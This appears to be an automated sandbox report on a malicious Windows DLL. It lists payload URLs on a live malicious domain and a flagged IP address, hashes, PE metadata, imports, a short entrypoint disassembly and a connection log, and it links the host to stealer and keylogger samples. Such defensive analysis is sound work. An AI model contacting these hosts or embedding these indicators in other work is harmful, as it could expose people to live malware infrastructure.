https://rammenale.com/for2/aclog.txt60	rundll32.exe, 00000005.00000002.3286428074.000000000317A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtentindowsINetCookies	rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4r	rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp08	rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpP	rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtfw	rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtC:	rundll32.exe, 00000005.00000002.3286428074.0000000003170000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3286258610.0000000003080000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286763260.0000000003190000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286367088.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002F40000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286293078.0000000002EA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt&	rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt%	rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4~	rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpS	rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog.txtft	rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpA	rundll32.exe, 0000000C.00000002.3289874951.000000000882B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtk	rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com//9	rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp;	rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txti	rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogtxt	rundll32.exe, 00000005.00000002.3286153316.0000000003037000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286159157.0000000002B77000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286150447.0000000002B37000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtv	rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpG	rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/6	rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txtt	rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog.txts	rundll32.exe, 00000006.00000002.3286558558.00000000030D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3287828894.0000000003280000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4s5	rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp0	rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286449420.0000000002E3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpmp	rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4X	rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtz	rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CFD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog.txtentdll8	rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtx	rundll32.exe, 00000006.00000002.3286763260.0000000003190000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp7	rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpc4u	rundll32.exe, 00000007.00000002.3289414111.0000000007B5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4Zfrh	rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4$	rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtdT	rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4	rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpuk	rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtentdll	rundll32.exe, 0000000B.00000002.3286397413.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp6	rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
131.153.206.231	rammenale.com	United States		19437	SS-ASHUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500943
Start date and time:	2024-08-29 06:52:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QEydjQdRxs.dll renamed because original name is a hash value
Original Sample Name:	b62c9168fcde444dbc3be1593e80747929dcf1a49cc6305b49456d68d0c49e71.dll
Detection:	MAL
Classification:	mal88.evad.winDLL@20/0@1/1
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 49
Cookbook Comments:	Found application associated with file extension: .dll

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 1992 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 2148 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7104 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:53:00	API Interceptor	2x Sleep call for process: rundll32.exe modified
00:53:03	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SS-ASHUS	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	https://blockchainsolution.netlify.app/	Get hash	malicious	Unknown	Browse	131.153.206.100
	http://blockdag-network-rectification.pages.dev/wallet/inputs.html/js/aes.js	Get hash	malicious	Unknown	Browse	131.153.206.103
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	131.153.100.38
	Bank Slip.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	131.153.147.106
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	131.153.148.82
	0tkRwEewXq.exe	Get hash	malicious	FormBook	Browse	131.153.170.234
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	209.100.21.94
	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	131.153.148.82

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	rSHIPMENT_DOCMSS24071327.exe	Get hash	malicious	FormBook, GuLoader	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse	131.153.206.231
	file.exe	Get hash	malicious	Meduza Stealer	Browse	131.153.206.231

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.525256862846471
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QEydjQdRxs.dll
File size:	155'648 bytes
MD5:	71481f31ac558750937ef27dad2d0025
SHA1:	fa2010a283a723a0d2a68d6bc8b16389b36a3a04
SHA256:	b62c9168fcde444dbc3be1593e80747929dcf1a49cc6305b49456d68d0c49e71
SHA512:	2553ac889e82ba93d84645f8a569ab697129970dfd7c5d65a5807be650d91dc3ae43888c58f96d75e3894b1517b280e33d11a908e00b01d61b79cf7c4793f82f
SSDEEP:	3072:ttFxYcagk6lhWoXc+HFDXy6yw2oZe34eqfyUDEaMl1vb4:ttFGOrhWgcMVXuw2r4Orb4
TLSH:	39E38D06B180C076C6BF1A390934DB765F7EB5305F709D8F67944E7A9F302C1DA26A2A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\K...........SR.....SR.....SR.....SR........{................SR.........>..u......u......u......u......Rich..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10004e89
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x65C149B1 [Mon Feb 5 20:48:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5bcfc08c844c0007f9be93f5c47313c6

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F27887F0897h
call 00007F27887F0A88h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F27887F0743h
add esp, 0Ch
pop ebp
retn 000Ch
retn 0000h
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F27887F0F8Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F27887F0F79h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1001D05Ch]
push dword ptr [ebp+08h]
call dword ptr [1001D058h]
push C0000409h
call dword ptr [1001D060h]
push eax
call dword ptr [1001D030h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1001D064h]
test eax, eax
je 00007F27887F0897h
push 00000002h
pop ecx
int 29h
mov dword ptr [10026BA0h], eax
mov dword ptr [10026B9Ch], ecx
mov dword ptr [10026B98h], edx
mov dword ptr [10026B94h], ebx
mov dword ptr [10026B90h], esi
mov dword ptr [10026B8Ch], edi
mov word ptr [10026BB8h], ss
mov word ptr [10026BACh], cs
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x24930	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24980	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x1b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x29000	0x13d4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x235e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b7eb	0x1b800	b5ebfcec47bdbde0b0862430d977a874	False	0.5669921875	data	6.615728746259108	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1d000	0x80da	0x8200	19311fbfbd3de480b77edfe21900099e	False	0.4551081730769231	data	5.28007570851873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x1518	0xc00	e0fc4326df3ced7a83183b7950ccd3cb	False	0.16276041666666666	data	2.421179338341947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x28000	0x1b0	0x200	c6f9c221f82fb7b111e9efd08d831664	False	0.501953125	data	4.488394384042509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x29000	0x13d4	0x1400	761cd4118d957c1fbec2a8aa8f578464	False	0.7701171875	data	6.5210110696497425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x28060	0x14e	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.6407185628742516

Imports

DLL	Import
KERNEL32.DLL	FreeLibrary, WriteConsoleW, SetEndOfFile, HeapReAlloc, HeapSize, CreateFileW, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap, ExitProcess, ExpandEnvironmentStringsW, TerminateProcess, CloseHandle, GetProcAddress, CreateProcessW, GetModuleHandleW, CopyFileW, GetEnvironmentVariableW, Sleep, LocalFree, GetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, FreeEnvironmentStringsW, RtlUnwind, RaiseException, InterlockedFlushSList, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, DecodePointer, LoadLibraryExW, ReadFile, GetModuleHandleExW, GetModuleFileNameW, SetFilePointerEx, GetConsoleMode, ReadConsoleW, GetStdHandle, GetFileType, HeapFree, HeapAlloc, LCMapStringW, WriteFile, GetConsoleOutputCP, GetFileSizeEx, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
OLEAUT32.dll	VariantClear, VariantInit, SysFreeString, SysAllocString

Exports

Name	Ordinal	Address
mydllmain	1	0x10001026

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:01.287623882 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.287688971 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.287748098 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.300529957 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.300546885 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.300597906 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.306808949 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.306850910 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.306907892 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.326004028 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.326021910 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.332247972 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.332263947 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.339549065 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.339565992 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.339631081 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.358179092 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.358196974 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:01.358469963 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:01.358483076 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.262895107 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.262970924 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.265547991 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.265621901 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.270101070 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.270183086 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.276674032 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.276761055 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.346857071 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.346875906 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.347229958 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.347316027 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.349389076 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.364583969 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.364593983 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.364877939 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.364928007 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.367221117 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.391892910 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.391912937 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.392280102 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.392437935 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.392502069 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.394804955 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.408499956 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.417390108 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.417403936 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.417740107 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.417814970 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.420435905 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.440490007 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.460506916 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.855943918 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.856120110 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.856185913 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.856878042 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.856931925 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.856945992 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.856987953 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.856992960 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.857038021 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.857079983 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.858630896 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.858647108 CEST	443	49706	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.858690977 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.858710051 CEST	49706	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.859559059 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.859621048 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.859639883 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.859684944 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.859694004 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.859711885 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.859739065 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.859755993 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.862966061 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.862971067 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.863002062 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.863020897 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869529963 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.869600058 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869606018 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.869646072 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869668007 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.869714022 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869718075 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.869757891 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869884014 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869898081 CEST	443	49707	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:02.869915009 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.869937897 CEST	49707	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.886594057 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:02.886600018 CEST	443	49708	131.153.206.231	192.168.2.5
